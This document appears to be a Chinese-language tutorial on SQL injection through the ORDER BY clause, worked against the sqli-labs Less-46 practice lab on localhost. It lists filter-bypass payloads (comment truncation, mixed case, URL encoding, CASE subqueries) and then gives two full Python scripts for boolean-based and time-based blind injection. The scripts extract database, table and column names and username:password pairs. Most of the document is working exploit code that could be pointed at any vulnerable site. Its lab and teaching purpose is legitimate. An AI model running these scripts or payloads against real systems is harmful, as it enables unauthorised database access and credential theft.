一、常见绕过技术

1、注释符截断

   利用注释符（如 --、#）截断后续查询，消除过滤逻辑的影响。

ORDER BY 1-- 

  若原查询为 SELECT * FROM table ORDER BY '用户输入'，注入后可能忽略后续过滤逻辑。

2、大小写混淆/编码绕过

  若过滤是大小写敏感或未处理编码，可尝试：

• 大小写混合：OrDeR By 1

• URL编码：%4F%52%44%45%52%20%42%59%201（对应 ORDER BY 1）

 3、嵌套查询或函数

  利用数据库函数（如 IF、CASE）或子查询构造条件逻辑。

ORDER BY (CASE WHEN (SELECT SUBSTR(version(),1,1)='5') THEN 1 ELSE 2 END)

二、实践

以sqlilabs的第46关为例

1、布尔盲注

import requests
from bs4 import BeautifulSoup


def get_content(resp):
    soup = BeautifulSoup(resp.text, 'html.parser')

    username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')
    return username_elem.text.strip() if username_elem else None


def binary_search_injection(base_url, sql_query_template, max_length=100):
    result = []
    for i in range(1, max_length + 1):
        left, right = 32, 127
        while left <= right:
            mid = (left + right) // 2
            url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))
            try:
                resp = requests.get(url)
                content = get_content(resp)
                if content == 'Dumb':
                    left = mid + 1
                else:
                    right = mid - 1
            except Exception as e:
                print(f"请求 {url} 失败: {e}")
                break

        if left > 127 or left < 32:
            break
        char_to_add = chr(left)

        if char_to_add.isspace():
            break
        result.append(char_to_add)

    return ''.join(result)


if __name__ == '__main__':
    base_url = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort={sql_query} -- "

    database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"
    table_query = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{mid_char},id,username)"
    column_query = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{mid_char},id,username)"
    data_query = "if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{mid_char},id,username)"
    #数据库名
    print(binary_search_injection(base_url, database_query))
    #表名
    print(binary_search_injection(base_url, table_query))
    #列名
    print(binary_search_injection(base_url, column_query))
    #用户名及密码
    print(binary_search_injection(base_url, data_query))

实验结果：

2、时间盲注

import requests
import time


def inject_with_time(base_url, sql_query_template, delay=5, max_length=100):
    result = []
    for i in range(1, max_length + 1):
        left, right = 32, 127
        while left <= right:
            mid = (left + right) // 2

            query = sql_query_template.format(index=i, mid_char=mid, delay=delay)
            url = base_url.format(sql_query=query)
            start_time = time.time()
            try:
                resp = requests.get(url)
            except Exception as e:
                print(f"请求 {url} 失败: {e}")
                break
            elapsed_time = time.time() - start_time

            if elapsed_time > delay:
                left = mid + 1
            else:
                right = mid - 1

            time.sleep(0.1)

        if left > 127 or left < 32:
            break
        char_to_add = chr(left)
        if char_to_add.isspace():
            break
        result.append(char_to_add)
        print(''.join(result))
    return ''.join(result)


if __name__ == '__main__':
    base_url = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort={sql_query} -- "

    database_query = "if(ascii(substr(database(),{index},1))>{mid_char}, sleep({delay}), 0)"
    table_query = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{index},1))>{mid_char}, sleep({delay}), 0)"
    column_query = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{index},1))>{mid_char}, sleep({delay}), 0)"
    data_query = "if(ascii(substr((select group_concat(username,':',password) from users),{index},1))>{mid_char}, sleep({delay}), 0)"

    # print(inject_with_time(base_url, database_query, delay=5))
    # print(inject_with_time(base_url, table_query, delay=5))
    print(inject_with_time(base_url, column_query, delay=5))
    # print(inject_with_time(base_url, data_query, delay=5))

实验结果：